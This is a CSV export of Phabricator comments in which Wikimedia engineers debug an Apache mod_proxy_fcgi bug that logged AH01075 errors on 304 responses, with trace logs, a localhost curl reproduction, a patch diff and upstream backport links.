+",,,1470037352,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,56,True,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,1,0,1,1,0,1,1,1,1,1,0,0,0,1,1,0,1,1,1,1,0,1,0,0,0,0,0,1,0,0,1,0,0,1,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+701950,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","I just uploaded the latest version of the apache package to reprepro, now installing it on mw1262.",,,1469714296,,PHID-USER-fdo23otm6ztt674vjqko,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,56,True,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0
+697474,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","@elukey I didn't add it on purpose, as I was pretty sure it was a minor effect; and yes, the final version of our package will have one big patch for mod_proxy_fcgi.c that includes that as well.",,,1468995973,,PHID-USER-fdo23otm6ztt674vjqko,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,54,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,1,0,1,0,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,0,0,0,0
+697472,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","@hashar: thanks for the info! I was wondering why apache2log wasn't showing all the spam :)
+
+@Joe: I found some occurrences of AH01075 due to client disconnects, I believe we forgot to add http://svn.apache.org/r1726019",,,1468995863,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,54,True,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,1,1,0,1,0,0,0,1,1,1,0,0,1,1,1,1,0,0,1,0,0,1
+697147,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","Awesome!  As a side note, the logstash syslog filter discard a few Apache errors. From https://phabricator.wikimedia.org/diffusion/OPUP/browse/production/files/logstash/filter-syslog.conf;f878f4c4634277750ade1d92a6e4594ec6300cb1$82-92
+
+```
+    if [program] == ""apache2"" {
+      # Ignore known mod_proxy_fcgi bugs
+      if [message] =~ /AH01070: Error parsing script headers/ {
+        drop {}
+      }
+      if [message] =~ /AH01068: Got bogus version \d/ {
+        drop {}
+      }
+      if [message] =~ /AH01075: Error dispatching request to :/ {
+        drop {}
+      } 
+          
+```
+
+Might want to stop dropping them.",,,1468956844,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,54,True,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,1,1,1,1,0,1,0,1,1,1,0,1,0,1,1,0,1,1,1,0,0,1
+696107,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","So, by combining elukey's patch and the original patch for not sending out a body on a 304, the bogus logs are effectively gone,
+
+As soon as we feel confident, we can upgrade the apache package across all jessies, and then resolve this ticket.",,,1468855802,,PHID-USER-fdo23otm6ztt674vjqko,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,54,True,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+691705,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","After a bit of digging, it seems that the AH01075/AH01068 error messages can be reproduced on httpd trunk too. I opened a bugzilla PR to propose a fix, let's see how it goes: https://bz.apache.org/bugzilla/show_bug.cgi?id=59838 (more info about how to repro and basic info in there!)
+ 
+So the next steps are:
+
+1) wait for the PR 
+2) double check if the deb package built by Joe contains all the patches that is supposed to have (even if I am pretty confident that it has everything). Hopefully this will fix the 304 body problem returned but I suspect that we are missing another commit to backport..
+
+",,,1468220777,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,53,True,1,1,0,1,0,1,1,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,1
+691373,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)",">>! In T73487#2442995, @elukey wrote:
+> I found a repro (If-Modified needs to be modified accordingly to force a 304):
+> 
+> ```
+> curl ""localhost/w/index.php?title=MediaWiki:Gadget-ImageAnnotator.js&action=raw&ctype=text/javascript"" 
+> -H ""Host: commons.wikimedia.org"" 
+> -i 
+> --header 'If-Modified-Since: Tue, 25 Aug 2015 15:19:10 GMT'
+> ```
+> 
+> Correspondent logs:
+> 
+> ```
+> 2016-07-08T21:15:17	45908	::1	
+> proxy-server/503	0	
+> GET	http://commons.wikimedia.org/w/index.php	-	
+> text/html	-	-	curl/7.38.0	--	-	::1
+> 
+> Jul  8 21:24:11 mw2244 apache2[78184]: [proxy_fcgi:error] 
+> [pid 78184:tid 139815613789952] 
+> [client ::1:40136] AH01068: Got bogus version 32
+> 
+> Jul  8 21:24:11 mw2244 apache2[78184]: [proxy_fcgi:error] 
+> [pid 78184:tid 139815613789952] (22)Invalid argument: 
+> [client ::1:40136] AH01075: Error dispatching request to :
+> ```
+> 
+> The question now is why a 304 generates this mess. It seems not related to http://svn.apache.org/r1650677, but something different. 
+> 
+> On the bright side, I verified that the 304 is delivered to the client (that was my shell) without any mention of a 503 or an error. So this issue seems to be only related to httpd internals spamming logs.
+
+If you try this with telnet, not curl, you'll see that for some reason the 304 body is still returned. I fear I made an error when rebuilding the package or that the 304_no_body patch was incomplete.",,,1468051771,,PHID-USER-fdo23otm6ztt674vjqko,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,53,True,1,1,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,1,0,1,0,0,0,0,1,1,1,1,1,1,1,1,0,1,1,0,0,1,1,0,1,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,1,1,1,1,1,0,1,0,0,1
+691258,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)",So you at least have a proof `AH01070: Error parsing script headers` is fixed!,,,1468016608,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,53,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,1,0
+691244,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","Interesting fact: I tried the same curl request on mw2244 (that does not have the fix to ignore 304 response body -  http://svn.apache.org/r1650677) and this is the result: 
+
+```
+Jul  8 21:56:03 mw2244 apache2[78184]: [proxy_fcgi:error] 
+[pid 78184:tid 139815790036736] [client ::1:43834] AH01070: Error parsing script headers
+Jul  8 21:56:03 mw2244 apache2[78184]: [proxy_fcgi:error] 
+[pid 78184:tid 139815790036736] [client ::1:43834] AH01068: Got bogus version 32
+Jul  8 21:56:03 mw2244 apache2[78184]: [proxy_fcgi:error] 
+[pid 78184:tid 139815790036736] (22)Invalid argument: [client ::1:43834] AH01075: Error dispatching request to :
+```
+
+The error message ""Error parsing script headers"" is exactly the one that the above patch corrected:
+
+```
+                                 APR_BRIGADE_INSERT_TAIL(ob, tmp_b);
+                                 r->status = status;
+                                 ap_pass_brigade(r->output_filters, ob);
+-                                ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(01070)
+-                                              ""Error parsing script headers"");
+-                                rv = APR_EINVAL;
++                                if (status == HTTP_NOT_MODIFIED) {
++                                    /* The 304 response MUST NOT contain
++                                     * a message-body, ignore it. */
++                                    ignore_body = 1;
++                                }
++                                else {
++                                    ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(01070)
++                                                    ""Error parsing script headers"");
++                                    rv = APR_EINVAL;
++                                }
+                                 break;
+```
+Since mw1261 does not show that error message, it seems that we are indeed in the case of a 304 response carrying payload.
+
+we are either hitting a new mod-proxy-fcgi bug or we are just missing the commit that fixes it :)
+",,,1468015738,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,53,True,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,1,0,0,1,1,1,1,0,0,1,0,1,1,0,0,0,1,0,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,1,0,0,1,1,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+691229,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","I found a repro (If-Modified needs to be modified accordingly to force a 304):
+
+```
+curl ""localhost/w/index.php?title=MediaWiki:Gadget-ImageAnnotator.js&action=raw&ctype=text/javascript"" 
+-H ""Host: commons.wikimedia.org"" 
+-i 
+--header 'If-Modified-Since: Tue, 25 Aug 2015 15:19:10 GMT'
+```
+
+Correspondent logs:
+
+```
+2016-07-08T21:15:17	45908	::1	
+proxy-server/503	0	
+GET	http://commons.wikimedia.org/w/index.php	-	
+text/html	-	-	curl/7.38.0	--	-	::1
+
+Jul  8 21:24:11 mw2244 apache2[78184]: [proxy_fcgi:error] 
+[pid 78184:tid 139815613789952] 
+[client ::1:40136] AH01068: Got bogus version 32
+
+Jul  8 21:24:11 mw2244 apache2[78184]: [proxy_fcgi:error] 
+[pid 78184:tid 139815613789952] (22)Invalid argument: 
+[client ::1:40136] AH01075: Error dispatching request to :
+```
+
+The question now is why a 304 generates this mess. It seems not related to http://svn.apache.org/r1650677, but something different. 
+
+On the bright side, I verified that the 304 is delivered to the client (that was my shell) without any mention of a 503 or an error. So this issue seems to be only related to httpd internals spamming logs.",,,1468013730,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,53,True,1,1,0,1,1,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,1,0,1,0,0,0,0,0,1,1,1,1,1,0,1,0,1,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+691227,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","I found a repro (If-Modified needs to be modified accordingly to force a 304):
+
+```
+curl ""localhost/w/index.php?title=MediaWiki:Gadget-ImageAnnotator.js&action=raw&ctype=text/javascript"" 
+-H ""Host: commons.wikimedia.org"" 
+-i 
+--header 'If-Modified-Since: Tue, 25 Aug 2015 15:19:10 GMT'
+```
+
+Correspondent logs:
+
+```
+2016-07-08T21:15:17	45908	::1	
+proxy-server/503	0	
+GET	http://commons.wikimedia.org/w/index.php	-	
+text/html	-	-	curl/7.38.0	--	-	::1
+
+Jul  8 21:24:11 mw2244 apache2[78184]: [proxy_fcgi:error] 
+[pid 78184:tid 139815613789952] 
+[client ::1:40136] AH01068: Got bogus version 32
+
+Jul  8 21:24:11 mw2244 apache2[78184]: [proxy_fcgi:error] 
+[pid 78184:tid 139815613789952] (22)Invalid argument: 
+[client ::1:40136] AH01075: Error dispatching request to :
+```
+
+The question now is why a 304 generates this mess. It seems not related to http://svn.apache.org/r1650677, but something different. ",,,1468013279,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,53,True,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,0,1,0,1,0,0,0,0,0,1,1,1,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+691090,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","I copied an example of 304 in mw1061:/home/elukey/error_log_304.log (root:adm permissions)
+
+Is there anybody that could give me an example of request that simulates this one? @ori maybe? The goal would be to reproduce this sneaky 304 and figure out what is going wrong with httpd. ",,,1467998507,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,53,True,0,1,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,1,1,0,0,0
+691034,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","Deployed the patched version of httpd but the errors are still there. I added the following logging:
+
+```
+LogLevel notice proxy_fcgi:trace8 core:trace8 http_module:trace8
+```
+
+and this is the result for every Bogus version and AH01075:
+
+```
+[Fri Jul 08 15:41:29.246709 2016] [http:trace3] http_filters.c(1003):  Response sent with status 304, headers:
+[Fri Jul 08 15:41:29.246729 2016] [http:trace5] http_filters.c(1010):  Date: Fri, 08 Jul 2016 15:41:29 GMT
+[Fri Jul 08 15:41:29.246734 2016] [http:trace5] http_filters.c(1013):  Server: mw1261.eqiad.wmnet
+[Fri Jul 08 15:41:29.246747 2016] [proxy_fcgi:error] AH01068: Got bogus version 116
+[Fri Jul 08 15:41:29.246754 2016] [proxy_fcgi:error]  (22)Invalid argument: [client 10.64.0.102:24486] AH01075: Error dispatching request to :
+```
+
+So all the requests with 503 and problematic logs seems to be 304 Not modified (I turned on core and http_module logs to trace8 this time, not only proxy_fcgi). We added http://svn.apache.org/viewvc?view=revision&revision=1650677 that should have solved the issue, but apparently we are still missing something. 
+
+Will try to reproduce a 304 ""problematic"" response in my vagrant testing environment. ",,,1467993610,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,53,True,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,1,1,1,1,1,0,0,1,1,0,0,0,1,1,1,1,0,1,0,1,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+690858,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","The two patches needed are the following (even simpler than what I expected):
+
+http://svn.apache.org/r1642855
+http://svn.apache.org/r1726019
+
+Nice to have but not really necessary;
+
+svn.apache.org/r1650677",,,1467975563,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,53,True,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,1,0,0
+690819,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","Finally we found a repro thanks to https://bz.apache.org/bugzilla/show_bug.cgi?id=49671. 
+Quoting the bug report:
+
+```
+If mod_proxy_fcgi is handling a request it encounters an error sending data to the client 
+(most commonly because the client has disconnected) then it will often stop processing 
+data in the middle of an FCGI record and return from dispatch() without having read 
+the entire record from the FCGI server.
+
+When dispatch() is next entered it tries to read a new record, 
+but gets bogus data from the middle of the previous record and logs an error along these likes:
+
+[Thu Jul 29 15:48:29 2010] [error] proxy: FCGI: Got bogus version 66
+[Thu Jul 29 15:48:29 2010] [error] (22)Invalid argument: proxy: FCGI: Error dispatching request to :
+```
+
+That explains perfectly what I was observing in the error.log set to trace8. I managed to reproduce on my Vagrant VM simply configuring httpd/mod-proxy-fcgi to use FCGI to serve all files, not only PHP, and issuing a HTTP request for the file aborting it before completion.
+
+So the 503s that we are seeing in the access_logs (plus all the related errors in error.log) should be related to client aborting connections.
+
+The fix should be https://svn.apache.org/r1682544, released in 2.4.16. Joe is trying to backport the patch to 2.4.10, let's see if it works. If everything goes fine it might be good to follow up with the Debian maintainers.
+
+I updated all the related mod-proxy-fcgi apache bz tasks with some info too.
+",,,1467967262,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,53,True,1,1,1,1,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1,1,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,1,1
+690402,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","Yes definitely! 
+
+mw1261.eqiad.wmnet:/home/elukey/error_log_elukey_httpd_patched_07072016.log
+
+mw1261.eqiad.wmnet:/home/elukey/access_log_elukey_httpd_patched_07072016.log",,,1467914191,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,53,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+690346,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)",@elukey it would be useful to save the corresponding access log as well.,,,1467910026,,PHID-USER-fdo23otm6ztt674vjqko,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,53,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,1,1,0,0,0,0,1,0,0,0
+690337,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","For anybody that wants to help, there is a complete error log in mw1261.eqiad.wmnet:/home/elukey/error_log_elukey_httpd_patched.log (read allowed only to root due to sensitive data on it, please let me know if you want to read it but don't have access)",,,1467909554,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,53,True,0,1,0,0,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,1,1,1,0,0,0,0
+690185,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","More information thanks to @joe's patch to log FCGI headers.
+
+Afaiu mod-proxy-fcgi does the following for each request:
+
+1) sends AP_FCGI_BEGIN_REQUEST to let hhvm knows that a request is incoming.
+2) sends the environment variables with all the details of the request to hhvm.
+3) reads HHVM's response headers first (rather than the whole response) and decides what to do. For example, it might discover that the FCGI_VERSION is wrong (not 1 since it is the only value supported) and abort (ending up in AH01075) or reading the rest of the response and then proceed with flushing.
+
+In this particular case it seems that the response is correctly read and flushed (so first round of FCGI headers are ok) but then for some reason mod-proxy-fcgi decides to keep going reading again FCGI headers, getting garbage.  
+
+This ""garbage"" can be of two kind:
+
+1) not starting with 01, triggering ""Bogus version X, expected 1"" AH01068
+2) starting with 01 but not carrying 01 where the request id should be (only value supported), triggering ""Bogus rid X, expected 1"" AH01069
+
+The final value is AH01075, that basically states ""something went wrong while reading FCGI, returning 503""
+
+So the next steps is to figure out:
+
+1) if we can find a repro use case, maybe checking the error.log on mw1261
+2) figure out if this issue has already been resolved by more up to date versions of mod-proxy-fcgi (for example checking https://github.com/apache/httpd/commits/2.4.x/modules/proxy/mod_proxy_fcgi.c)
+
+
+
+",,,1467894320,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,53,True,1,1,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,1,1,0,0,1,0,1,1,1,1,1,0,1,0,1,1,0,0,1,1,1,1,0,0,1,1,1,1,0,1,1,0,0,1,1,1,1,1,0,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,1,1,1,1,0,1,1,0,1
+690168,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVXFP6Cw1EdYBLP_8GEz} [2016-07-07T12:05:29Z] <elukey> depooling mw1261 from service (T73487)",,,1467893129,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,False,,,53,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+690099,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVXE1uat1EdYBLP_8GCy} [2016-07-07T10:11:06Z] <elukey> pooling mw1261 back to service with Apache mod-proxy-fcgi set to trace8 (T73487)",,,1467886266,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,False,,,53,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+689500,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","In the end, we decided we need the following patches:
+
+- https://github.com/apache/httpd/commit/16e5bfb06d549dd932a98902bf9bf57c0b58bed9#diff-4395e4fb4d361fab4896eb4732e4b747 to suppress further logs from disconnecting clients
+- https://github.com/apache/httpd/commit/22c41acf8a10f8553dbca14652b8f56f4521d915.patch to be able to dump full fcgi headers when in trace8 debug.
+
+Work on porting both patches is ongoing, the second one in particular requires some pretty massive backporting and is probably not worth it besides for this investigation.",,,1467822071,,PHID-USER-fdo23otm6ztt674vjqko,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,52,True,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0
+689438,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVXAuU9SgCrwkbTdmd3B} [2016-07-06T15:00:17Z] <_joe_> depooling mw1261, installing an apache package with additional fixes (T73487)",,,1467817218,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,False,,,52,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+689404,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","well @elukey this is indeed interesting and gives an explanation of why we don't see these errors on the API cluster.
+
+It *clould* be due to some centralAuth_token that apache cannot understand. Decidedly worth investigating better.",,,1467813939,,PHID-USER-fdo23otm6ztt674vjqko,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,52,True,1,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0
+689394,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVXAbAqhgCrwkbTdmd0r} [2016-07-06T13:35:53Z] <elukey> depooling mw1261.eqiad to restore previous fcgi logging settings (T73487)",,,1467812154,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,False,,,52,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
